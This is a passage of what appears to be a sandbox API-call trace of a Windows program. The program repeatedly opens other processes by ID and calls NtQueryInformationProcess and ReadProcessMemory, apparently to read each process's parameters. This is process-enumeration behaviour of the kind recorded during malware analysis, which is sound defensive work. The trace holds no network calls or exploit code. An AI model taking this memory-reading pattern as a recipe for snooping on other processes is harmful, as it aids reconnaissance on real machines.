szCSDVersion="")) returned 1 [0353.513] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.514] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0353.514] GetLastError () returned 0x0 [0353.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.515] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.515] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.515] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.515] malloc (_Size=0x3e) returned 0xea7890 [0353.515] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea7890, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7890*, lpNumberOfBytesRead=0x0) returned 1 [0353.516] free (_Block=0xea7890) [0353.516] CloseHandle (hObject=0xa9c) returned 1 [0353.516] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0353.517] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0353.517] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.517] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.518] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0353.518] GetLastError () returned 0x0 [0353.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.519] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.519] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.519] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.519] malloc (_Size=0x26) returned 0xecd3c0 [0353.519] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd3c0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd3c0*, lpNumberOfBytesRead=0x0) returned 1 [0353.520] free (_Block=0xecd3c0) [0353.520] CloseHandle (hObject=0xa9c) returned 1 [0353.520] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0353.526] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0353.526] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.526] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.527] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0353.527] GetLastError () returned 0x0 [0353.527] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.528] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.528] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.528] malloc (_Size=0x26) returned 0xecd390 [0353.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd390, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd390*, lpNumberOfBytesRead=0x0) returned 1 [0353.529] free (_Block=0xecd390) [0353.529] CloseHandle (hObject=0xa9c) returned 1 [0353.529] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0353.529] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0353.529] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.529] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.530] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0353.530] GetLastError () returned 0x0 [0353.530] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.531] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.531] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.531] malloc (_Size=0x64) returned 0xeb6230 [0353.532] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0353.532] free (_Block=0xeb6230) [0353.532] CloseHandle (hObject=0xa9c) returned 1 [0353.532] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0353.532] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0353.533] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.533] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.533] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0353.533] GetLastError () returned 0x0 [0353.534] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.534] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.534] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.535] malloc (_Size=0x5a) returned 0xeb6770 [0353.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb6770, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0353.535] free (_Block=0xeb6770) [0353.535] CloseHandle (hObject=0xa9c) returned 1 [0353.536] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0353.536] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0353.536] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.537] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0353.540] GetLastError () returned 0x0 [0353.541] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.541] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.541] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.542] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.542] malloc (_Size=0x16) returned 0xec99c0 [0353.542] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec99c0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec99c0*, lpNumberOfBytesRead=0x0) returned 1 [0353.542] free (_Block=0xec99c0) [0353.542] CloseHandle (hObject=0xa9c) returned 1 [0353.542] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0353.542] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0353.543] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.543] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.543] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0353.543] GetLastError () returned 0x0 [0353.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.544] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.544] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.545] malloc (_Size=0x7a) returned 0xe87c10 [0353.545] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87c10, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0353.545] free (_Block=0xe87c10) [0353.545] CloseHandle (hObject=0xa9c) returned 1 [0353.546] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0353.546] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0353.546] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.546] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0353.547] GetLastError () returned 0x0 [0353.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.548] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.548] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.548] malloc (_Size=0x5e) returned 0xeb6310 [0353.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6310, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0353.549] free (_Block=0xeb6310) [0353.549] CloseHandle (hObject=0xa9c) returned 1 [0353.549] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0353.549] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0353.549] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.550] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", 